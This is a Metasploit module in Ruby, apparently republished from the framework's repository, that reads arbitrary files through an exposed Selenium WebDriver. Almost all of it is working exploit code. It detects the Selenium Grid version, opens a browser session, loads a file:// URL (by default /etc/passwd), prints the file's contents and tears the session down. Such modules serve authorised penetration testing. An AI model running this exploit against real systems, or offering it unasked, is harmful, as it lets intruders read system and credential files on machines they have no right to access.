Remote attackers can exploit Selenium web drivers to access victims' file systems.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Selenium arbitrary file read',
'Description' => %q{
If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
In certain cases this can be used to access to the remote file system.
},
'License' => MSF_LICENSE,
'Author' => [
'Jon Stratton', # Original Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/JonStratton/selenium-node-takeover-kit' ]
],
'Platform' => 'misc',
'Targets' => [
[
'Native Payload', {
'Platform' => %w[linux osx win unix],
'Arch' => ARCH_ALL
}
]
],
'DisclosureDate' => '2020-10-01', # Not sure this is correct
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ IOC_IN_LOGS, ],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(4444),
OptString.new('SCHEME', [true, 'The scheme to use', 'file']),
OptString.new('FILEPATH', [true, 'File to read', '/etc/passwd']),
OptEnum.new('BROWSER', [true, 'The browser to use', 'firefox', ['firefox', 'chrome', 'MicrosoftEdge']]),
OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]),
]
)
end
def check
# Request for Selenium Grid version 4
v4res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'status')
})
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
v4res.get_json_document['value'].include?('message')
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
end
end
# Request for Selenium Grid version 3
v3res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
begin
json_data = JSON.parse(json_str)
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Unable to determine the version.')
end
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
# Extract the version
version = Rex::Version.new(json_data['version'])
@version3 = version < Rex::Version.new('4.0.0')
Exploit::CheckCode::Appears("Version #{version} detected")
end
def run
case datastore['BROWSER']
when 'firefox'
options = 'moz:firefoxOptions'
when 'chrome'
options = 'goog:chromeOptions'
when 'MicrosoftEdge'
options = 'ms:edgeOptions'
end
# Start session. driver = Selenium::WebDriver.for :remote, :url => url, :desired_capabilities => { :browserName => browser }
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
'ctype' => 'application/json; charset=utf-8',
'data' => JSON.generate({
desiredCapabilities: { browserName: datastore['BROWSER'] },
capabilities: {
firstMatch: [
{
browserName: datastore['BROWSER'],
"#{options}": {}
}
]
}
})
}, datastore['TIMEOUT'])
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
print_status("Started session (#{session_id}).")
# driver.get('file://%s' % [FILEPATH])
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"),
'ctype' => 'application/json; charset=utf-8',
'data' => JSON.generate({ url: "#{datastore['SCHEME']}://#{datastore['FILEPATH']}" })
})
fail_with(Failure::Unknown, "Failed to execute driver.get('#{datastore['SCHEME']}://#{datastore['FILEPATH']}').") unless res
# driver.page_source
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/source"),
'ctype' => 'application/json; charset=utf-8'
})
fail_with(Failure::Unknown, "Failed to read file: #{datastore['FILEPATH']}.") unless res
print_good("#{datastore['FILEPATH']}\n#{Nokogiri::HTML(res.get_json_document['value'])&.at('pre')&.text}")
# End session
# This may take some time (about 5 minutes or so), so no timeout is set here.
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }
})
if res
print_status("Deleted session (#{session_id}).")
else
print_status("Failed to delete the session (#{session_id}). "\
'You may need to wait for the session to expire (default: 5 minutes) or '\
'manually delete the session for the next exploit to succeed.')
end
end
end
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